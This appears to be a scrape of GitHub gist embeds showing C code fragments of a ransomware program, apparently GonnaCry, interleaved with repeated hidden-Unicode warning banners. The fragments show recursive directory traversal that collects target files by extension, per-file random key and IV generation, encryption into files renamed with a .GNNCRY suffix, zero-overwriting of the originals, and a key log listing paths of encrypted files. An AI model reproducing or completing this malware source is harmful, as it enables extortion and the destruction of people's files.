This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
typedef struct node{ | |
int color; | |
struct node *left, *right; | |
}Node; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
int array[10]; | |
// limited size -> 10 | |
// only one data type |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
typedef struct node{ | |
int data; | |
struct node * next; | |
}Node; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Free the linked lists*/ | |
destroy(&files); | |
destroy(&encrypted); | |
destroy(¬_encrypted); | |
/* Free the path variables */ | |
free(home); | |
free(desktop); | |
free(username); | |
free(trash); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
6.V5Aw?d'b}{v$@AO(xr'?!ptWW-qADy:3Zd;B3zGrvufrUCQ:/home/tarcisio/Desktop/15109580_1182532868480776_7528793872271394864_n.jpg.water | |
uI5Lt2yC3OU@L}'x'mh3?m0&B10(;(SS:J0#,5K3V)ob9p)%Z:/home/tarcisio/Desktop/allegro/projeto-allegro.odt.water | |
'k14!3X(OhjFOb(hiBSf$JV#jb@s9'!j:Thhj'O%nWyebj8j7:/home/tarcisio/Desktop/allegro/main.c.water | |
VOpUQOfFqiHOdJCiw#aSE$c)R,K$PfPM:3Li(wp@im2Gpx5Vy:/home/tarcisio/Desktop/estruturas/RB/redblack.c.water | |
PkJu-JhU-V@}cVzebO)&!0'i@11c;Tb@:bGpNOj7gj-CS-vQX:/home/tarcisio/Desktop/estruturas/avl/avl.c.water | |
QUZnLi{uqX2whaQ'.usK52!K8bO&jf7b:%JC)Zihn5g0d7hpN:/home/tarcisio/Desktop/estruturas/B/B.c.water |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
void *buf = malloc(BUF_SIZE); // allocate memory | |
memset(buf, 0, BUF_SIZE); // zero the memory | |
ssize_t ret = 0; | |
off_t shift = 0; | |
while((ret = write(fd, buf, | |
((fsize - shift >BUF_SIZE)? | |
BUF_SIZE:(fsize - shift)))) > 0) | |
shift += ret; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
iv = generate_key(16); | |
key = generate_key(32); | |
/* Where encryption really happens*/ | |
encrypt(old, new, key, iv); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
old = fopen(files->info[2], "rb"); | |
if(old != NULL){ | |
new_name = (char*) malloc(sizeof(char) * (strlen(files->info[2]) + 11)); | |
strcpy(new_name, files->info[2]); | |
strcat(new_name, ".GNNCRY"); | |
new = fopen(new_name, "wb"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
else if(ent->d_type == 4){ // it's a directory | |
if(!(strcmp(ent->d_name, "..") == 0 || strcmp(ent->d_name, ".") == 0)){ | |
find_files(files, new_directory); // recursive call | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* If finds a file, append to the linked list */ | |
if(ent->d_type == 8){ // it's a file | |
while(ext != NULL){ // check file extension | |
if(strcmp(get_filename_ext(path_to_file), ext) == 0){ | |
append(files, path_to_file, NULL, NULL); | |
break; | |
} | |
ext = strtok(NULL, " "); |